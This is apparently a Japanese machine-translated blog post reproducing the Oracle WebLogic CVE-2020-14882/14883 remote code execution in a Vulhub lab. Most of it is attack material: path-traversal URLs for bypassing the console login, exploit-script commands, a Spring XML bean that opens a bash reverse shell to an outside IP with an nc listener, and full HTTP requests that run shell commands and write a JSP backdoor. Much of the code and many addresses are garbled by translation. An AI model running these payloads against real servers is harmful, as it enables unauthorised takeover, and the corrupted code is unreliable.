Jump to content

0x01脆弱性の説明

最近、Oracle Weblogic Serverリモートコード実行脆弱性(CVE-2020-14882)POCが公開されました。認可されていないリモート攻撃者は、特別なHTTP GETリクエストを構築することにより、影響を受けるWebLogicサーバーで任意のコードを実行するために脆弱性を使用する場合があります。それらはすべて、WebLogicのコンソールコンソールコンポーネントに存在します。このコンポーネントは、WebLogicのバージョン全体のデフォルトコンポーネントであり、HTTPプロトコルを介して脆弱性が悪用されます。 CVE-2020-14882とCVE-2020-14883を組み合わせた後、リモートおよび不正な攻撃者は、サーバー上の任意のコードを直接実行してシステム許可を取得できます。

0x02脆弱性の影響

Oracle Weblogic Server、バージョン10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0

0x03脆弱性の再発:

1。環境構成1。この脆弱性の複製は、Vulhub環境を使用します。 Weblocigのバージョンは12.2.1.3.0です。このバージョンには脆弱性があります

https://github.com/vulhub/vulhub/tree/173136b310693d50cac183c6218e64c861e2aaf5/weblogic/cve-2020-14882

2。脆弱性環境構成を再現します

git clone 3https://github.com/vulhub/vulhub.git

1049983-20201110004945372-437894267.png

CD vulhub/

CD weblogic/

1049983-20201110004946048-333161501.pngCURL -S https://9BOOTSTRAP.PYPA.IO/GET-PIP.PY | Python3

1049983-20201110004946480-1915701577.pngService Docker Start

PIPインストールDocker-Compose

1049983-20201110004946900-1654698404.png

docker -compose up -d

1049983-20201110004947407-698220859.png

http://45.77.248.227:7001/コンソールにアクセスして、ウェブロジック環境を展開します

1049983-20201110004948021-1065139459.png 2。バックグラウンドログインをバイパス1。許可の脆弱性をバイパスすると、主要なPOCは次のとおりです。

/console/images/%252e%252e%252fconsole.portal

/CONSOLE/CSS/%25%32%65%25%32%65%25%32%65%25%32%66Console.portal

資本を小文字に変更してパッチをバイパスします。

/console/css/%252e%252e%252fconsole.portal

2.Weblocig12バックグラウンドログインをバイパスします

http://45.77.248.22733607001/Console/Images/%252E%252E%252FConsole.portal

1049983-20201110004948629-2005793861.png

http://45.77.248.227:7001 //Console/CSS/%25%32%65%25%32%65%25%32%66Console.portal

1049983-20201110004949217-211709860.png

http://45.77.248.227:7001/CONSOLE/CSS/%252E%252E%252FConsole.portal(小文字バイパス)

1049983-20201110004949772-419410762.png

3。スクリプト化された利用スクリプトアドレス:https://github.com/backlion/cve-2020-14882_all

1。コマンドエコー

Python3 CVE-2020-14882_all.py -Uhttp://45.77.248.227:7001/-C 'WHOAI'

1049983-20201110004950203-1008568171.pngpython3 CVE-2020-14882_all.py -U3http://45.77.248.22733607001/-C 'LS'

1049983-20201110004950844-424106896.png

2。エコーコマンドなしで外部XMLファイルを実行します

Linuxリバウンドシェルの例として、poc.xmlファイルを編集します

Beans xmlns='http://www.springframework.org/schema/beans' xmlns:xsi='http://www.w3.org/2001/xmlschema-instance' xsi:smemalococeocolaocolation='333338ww.spridffrma http://www.springframework.org/schema/beans/spring-beans.xsd '

bean id='pb' class='java.lang.processbuilder' init-method='start'

コンストラクター-ARG

リスト

値/bin/bash/value

Value-C/値

値![cdata [bash -i /dev/tcp/45.77.248.227/2233 01]]/value

/リスト

/Constructor-ARG

/豆

/豆

注:上記のアドレスはサーバーIPアドレスです

poc.xmlをサーバーにアップロードし、python3でHTTPサーバーWebを有効にします

1049983-20201110004951267-380875771.png 1049983-20201110004951674-178005576.png

スクリプトを介してコマンドを実行します

Python3 CVE -2020-14882_all.py -U http://45.77.248.227:7001/-X http://45.77.248.2273:8000/POC.XML

1049983-20201110004952085-2144418476.png

NCを使用して、サーバー上のポートを聴きます

NC -LLVP 2233

1049983-20201110004952426-13132293.png

4.手動の提出および利用方法1。次のPOCを送信することにより、コマンドをリモートで実行できます。ここでは、上記の背景をバイパスしてから、Burpsuitを介してパケットをつかみ、次のPOCに変更するのが最善です。

get /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangol.coherence.mvel2.sh.shellsession('weblogic.work.executethread=curentthread=(weblogic.work.work.work.curnededed) weblogic.work.workadapter adapter=currentthread.getCurrentWork(); (weblogic.servlet.internal.servletrequestimpl)obj.getclass() string [] {'cmd.exe'、 '/c'、cmd} : new String [] {'/bin/sh'、 '-c'、cmd}; java.lang.processbuilder(cmds).start()。getInputStream()) (weblogic.servlet.internal.servletresponseimpl)req.getclass()。getMethod( 'getResponse')。 currentthread.interput(); ')http/1.1

HOST: 45.77.248.227:7001

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/86.0.4240.183 safari/537.36

Accept: */*

参照: http://45.77.248.227:7001 //Console/Images/%252e%252e%252fconsole.portal?_nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession(%22java.lang.runtime.getruntime()。exec(%27calc.exe%27);%22);

Accept-Encoding: gzip、deflate

CMD:WHOAMI PWD

Accept-Language: ZH-CN、ZH; Q=0.9

cookie: adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-ggq!1524101341

Connection:閉じます

1049983-20201110004952930-1531266041.png

2。現在のページへのパスは次のとおりです。

/u01/oracle/user_projects/domains/base_domain

3。その後、このディレクトリにバックドアファイルを書き込むことができます。

/u01/oracle/wlserver/server/lib/consoleApp/webApp/画像

1049983-20201110004953417-1756900563.png

4。次のPOCを送信してバックドアに書き込みます

get /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangol.coherence.mvel2.sh.shellsession('weblogic.work.executethread=curentthread=(weblogic.work.work.work.curnededed) weblogic.work.workadapter adapter=currentthread.getCurrentWork(); (weblogic.servlet.internal.servletrequestimpl)obj.getclass() string [] {'cmd.exe'、 '/c'、cmd} : new String [] {'/bin/sh'、 '-c'、cmd}; java.lang.processbuilder(cmds).start()。getInputStream()) (weblogic.servlet.internal.servletresponseimpl)req.getclass()。getMethod( 'getResponse')。 currentthread.interput(); ')http/1.1

HOST: 45.77.248.227:7001

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/86.0.4240.183 safari/537.36

Accept: */*

参照: http://45.77.248.227:7001 //Console/Images/%252e%252e%252fconsole.portal?_nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession(%22java.lang.runtime.getruntime()。exec(%27calc.exe%27);%22);

Accept-Encoding: gzip、deflate

cmd:whoami pwd echo 'これはテストです!」 /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp

Accept-Language: ZH-CN、ZH; Q=0.9

cookie: adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-ggq!1524101341

Connection:閉じます

1049983-20201110004953915-995740218.png

5.バックドアファイルはWeblogic Virtual Directoryに記述されていることがわかります

1049983-20201110004954916-272739668.png

6.次のアドレスにアクセスして、バックドアを取得します

http://45.77.248.227:7001/Console/Images/test.jsp

1049983-20201110004955328-1993509794.png

5。手動使用方法2。1。リバウンドシェルを実行するためにLinuxの下のXMLファイルへのリモートアクセス

まず、XMLファイルを構築し、http://45.77.248.227:8000/poc.xmlなど、Weblogicがアクセスできるサーバーに保存する必要があります。

?xmlバージョン='1.0'

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...